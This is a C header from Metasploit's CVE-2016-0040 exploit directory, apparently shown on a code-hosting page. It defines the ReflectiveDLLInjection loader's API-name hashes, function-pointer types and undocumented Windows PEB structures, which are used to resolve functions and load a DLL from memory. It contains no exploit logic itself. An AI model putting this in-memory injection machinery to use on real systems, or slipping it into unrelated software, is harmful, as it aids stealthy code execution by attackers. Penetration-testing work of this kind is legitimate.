Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.h
Views: 11784
//===============================================================================================//1// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)2// All rights reserved.3//4// Redistribution and use in source and binary forms, with or without modification, are permitted5// provided that the following conditions are met:6//7// * Redistributions of source code must retain the above copyright notice, this list of8// conditions and the following disclaimer.9//10// * Redistributions in binary form must reproduce the above copyright notice, this list of11// conditions and the following disclaimer in the documentation and/or other materials provided12// with the distribution.13//14// * Neither the name of Harmony Security nor the names of its contributors may be used to15// endorse or promote products derived from this software without specific prior written permission.16//17// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR18// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND19// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR20// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR21// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR22// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY23// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR24// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE25// POSSIBILITY OF SUCH DAMAGE.26//===============================================================================================//27#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H28#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H29//===============================================================================================//30#define WIN32_LEAN_AND_MEAN31#include <windows.h>32#include <Winsock2.h>33#include <intrin.h>3435#define DLL_QUERY_HMODULE 63637#define DEREF( name )*(UINT_PTR *)(name)38#define DEREF_64( name )*(DWORD64 *)(name)39#define DEREF_32( name )*(DWORD *)(name)40#define DEREF_16( name )*(WORD *)(name)41#define DEREF_8( name )*(BYTE *)(name)4243typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID);44typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);4546#define DLLEXPORT __declspec( dllexport )4748typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );49typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );50typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );51typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );5253#define KERNEL32DLL_HASH 0x6A4ABC5B54#define NTDLLDLL_HASH 0x3CFA685D5556#define LOADLIBRARYA_HASH 0xEC0E4E8E57#define GETPROCADDRESS_HASH 0x7C0DFCAA58#define VIRTUALALLOC_HASH 0x91AFCA5459#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB86061#define IMAGE_REL_BASED_ARM_MOV32A 562#define IMAGE_REL_BASED_ARM_MOV32T 76364#define ARM_MOV_MASK (DWORD)(0xFBF08000)65#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)66#define ARM_MOVW 0xF240000067#define ARM_MOVT 0xF2C000006869#define HASH_KEY 1370//===============================================================================================//71#pragma intrinsic( _rotr )7273__forceinline DWORD ror( DWORD d )74{75return _rotr( d, HASH_KEY );76}7778__forceinline DWORD hash( char * c )79{80register DWORD h = 0;81do82{83h = ror( h );84h += *c;85} while( *++c );8687return h;88}89//===============================================================================================//90typedef struct _UNICODE_STR91{92USHORT Length;93USHORT MaximumLength;94PWSTR pBuffer;95} UNICODE_STR, *PUNICODE_STR;9697// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY98//__declspec( align(8) )99typedef struct _LDR_DATA_TABLE_ENTRY100{101//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.102LIST_ENTRY InMemoryOrderModuleList;103LIST_ENTRY InInitializationOrderModuleList;104PVOID DllBase;105PVOID EntryPoint;106ULONG SizeOfImage;107UNICODE_STR FullDllName;108UNICODE_STR BaseDllName;109ULONG Flags;110SHORT LoadCount;111SHORT TlsIndex;112LIST_ENTRY HashTableEntry;113ULONG TimeDateStamp;114} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;115116// WinDbg> dt -v ntdll!_PEB_LDR_DATA117typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes118{119DWORD dwLength;120DWORD dwInitialized;121LPVOID lpSsHandle;122LIST_ENTRY InLoadOrderModuleList;123LIST_ENTRY InMemoryOrderModuleList;124LIST_ENTRY InInitializationOrderModuleList;125LPVOID lpEntryInProgress;126} PEB_LDR_DATA, * PPEB_LDR_DATA;127128// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK129typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes130{131struct _PEB_FREE_BLOCK * pNext;132DWORD dwSize;133} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;134135// struct _PEB is defined in Winternl.h but it is incomplete136// WinDbg> dt -v ntdll!_PEB137typedef struct __PEB // 65 elements, 0x210 bytes138{139BYTE bInheritedAddressSpace;140BYTE bReadImageFileExecOptions;141BYTE bBeingDebugged;142BYTE bSpareBool;143LPVOID lpMutant;144LPVOID lpImageBaseAddress;145PPEB_LDR_DATA pLdr;146LPVOID lpProcessParameters;147LPVOID lpSubSystemData;148LPVOID lpProcessHeap;149PRTL_CRITICAL_SECTION pFastPebLock;150LPVOID lpFastPebLockRoutine;151LPVOID lpFastPebUnlockRoutine;152DWORD dwEnvironmentUpdateCount;153LPVOID lpKernelCallbackTable;154DWORD dwSystemReserved;155DWORD dwAtlThunkSListPtr32;156PPEB_FREE_BLOCK pFreeList;157DWORD dwTlsExpansionCounter;158LPVOID lpTlsBitmap;159DWORD dwTlsBitmapBits[2];160LPVOID lpReadOnlySharedMemoryBase;161LPVOID lpReadOnlySharedMemoryHeap;162LPVOID lpReadOnlyStaticServerData;163LPVOID lpAnsiCodePageData;164LPVOID lpOemCodePageData;165LPVOID lpUnicodeCaseTableData;166DWORD dwNumberOfProcessors;167DWORD dwNtGlobalFlag;168LARGE_INTEGER liCriticalSectionTimeout;169DWORD dwHeapSegmentReserve;170DWORD dwHeapSegmentCommit;171DWORD dwHeapDeCommitTotalFreeThreshold;172DWORD dwHeapDeCommitFreeBlockThreshold;173DWORD dwNumberOfHeaps;174DWORD dwMaximumNumberOfHeaps;175LPVOID lpProcessHeaps;176LPVOID lpGdiSharedHandleTable;177LPVOID lpProcessStarterHelper;178DWORD dwGdiDCAttributeList;179LPVOID lpLoaderLock;180DWORD dwOSMajorVersion;181DWORD dwOSMinorVersion;182WORD wOSBuildNumber;183WORD wOSCSDVersion;184DWORD dwOSPlatformId;185DWORD dwImageSubsystem;186DWORD dwImageSubsystemMajorVersion;187DWORD dwImageSubsystemMinorVersion;188DWORD dwImageProcessAffinityMask;189DWORD dwGdiHandleBuffer[34];190LPVOID lpPostProcessInitRoutine;191LPVOID lpTlsExpansionBitmap;192DWORD dwTlsExpansionBitmapBits[32];193DWORD dwSessionId;194ULARGE_INTEGER liAppCompatFlags;195ULARGE_INTEGER liAppCompatFlagsUser;196LPVOID lppShimData;197LPVOID lpAppCompatInfo;198UNICODE_STR usCSDVersion;199LPVOID lpActivationContextData;200LPVOID lpProcessAssemblyStorageMap;201LPVOID lpSystemDefaultActivationContextData;202LPVOID lpSystemAssemblyStorageMap;203DWORD dwMinimumStackCommit;204} _PEB, * _PPEB;205206typedef struct207{208WORD offset:12;209WORD type:4;210} IMAGE_RELOC, *PIMAGE_RELOC;211//===============================================================================================//212#endif213//===============================================================================================//214215216